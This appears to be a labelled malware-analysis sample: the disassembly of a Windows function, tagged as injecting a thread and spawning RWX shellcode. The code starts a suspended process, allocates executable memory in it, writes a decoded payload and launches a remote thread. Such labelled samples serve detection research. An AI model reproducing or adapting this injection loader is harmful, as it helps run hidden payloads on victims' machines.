Function at 0x4010e4
Capabilities:
Inject thread
Query environment variable
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xbf0
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov eax, 0x3a98
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
movabs rax, 0
mov qword [rbp - 0x88], rax
movabs rax, 0x5ad4
mov qword [rbp - 0x90], rax
movabs rax, 0
mov qword [rbp - 0x98], rax
movabs rax, 0x104
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x1a4]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
movabs rax, 0x68
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x80]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
movabs rax, 0x18
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
mov eax, 0x68
mov dword [rbp - 0x80], eax
mov eax, 0x104
mov r8, rax
lea rax, [rbp - 0x1a4]
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_GetModuleFileNameA
cmp eax, 0
je 0x4014ad
mov eax, 0xa
mov r11, rax
lea rax, str.eQ_aBO_BQP
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_getenv
mov ecx, 0x15
mov r11, rcx
lea rcx, str.eQ_aBO_
mov r10, rcx
mov qword [rbp - 0xb88], rax
mov rcx, r10
mov rdx, r11
call section..text
mov r9, rax
mov rax, qword [rbp - 0xb88]
mov r8, rax
lea rax, str._s_s
mov r11, rax
lea rax, [rbp - 0x690]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_sprintf
lea rax, [0x00402052]
mov r9, rax
lea rax, [rbp - 0x690]
mov r8, rax
lea rax, str.__s____s_
mov r11, rax
lea rax, [rbp - 0xb7c]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_sprintf
lea rax, [rbp - 0x18]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
movabs rax, 0
mov qword [rsp + 0x38], rax
movabs rax, 0
mov qword [rsp + 0x30], rax
mov eax, 0x8000004
mov qword [rsp + 0x28], rax
mov eax, 0
mov qword [rsp + 0x20], rax
movabs rax, 0
mov r9, rax
movabs rax, 0
mov r8, rax
lea rax, [rbp - 0xb7c]
mov r11, rax
lea rax, [rbp - 0x690]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_CreateProcessA
cmp eax, 0
je 0x4014ad
mov eax, 0x40
mov qword [rsp + 0x28], rax
mov eax, 0x3000
mov qword [rsp + 0x20], rax
lea rax, [rbp - 0x90]
mov r9, rax
mov eax, 0
mov r8, rax
lea rax, [rbp - 0x88]
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.ntdll.dll_NtAllocateVirtualMemory
mov rax, qword [rbp - 0x88]
cmp rax, 0
je 0x4014ad
mov rax, qword [rbp - 0x88]
mov r11, rax
lea rax, str.__Got_the_address_to_write_0x_x_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0x5ad4
mov r11, rax
lea rax, str.E6
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
lea rcx, [rbp - 0x98]
mov qword [rsp + 0x20], rcx
movabs rcx, 0x5ad4
mov r9, rcx
mov r8, rax
mov rax, qword [rbp - 0x88]
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.ntdll.dll_NtWriteVirtualMemory
mov rax, qword [rbp - 0x98]
cmp rax, 0
je 0x401485
movabs rax, 0
mov qword [rsp + 0x50], rax
movabs rax, 0
mov qword [rsp + 0x48], rax
movabs rax, 0
mov qword [rsp + 0x40], rax
movabs rax, 0
mov qword [rsp + 0x38], rax
mov eax, 0
mov qword [rsp + 0x30], rax
mov rax, qword [rbp - 0x88]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp - 0x88]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x18]
mov r9, rax
movabs rax, 0
mov r8, rax
mov eax, 0x20000000
mov r11, rax
lea rax, [rbp - 0xa0]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.ntdll.dll_NtCreateThreadEx
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_CloseHandle
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_CloseHandle
mov eax, 1
jmp 0x4014b2
mov eax, 0
leave
ret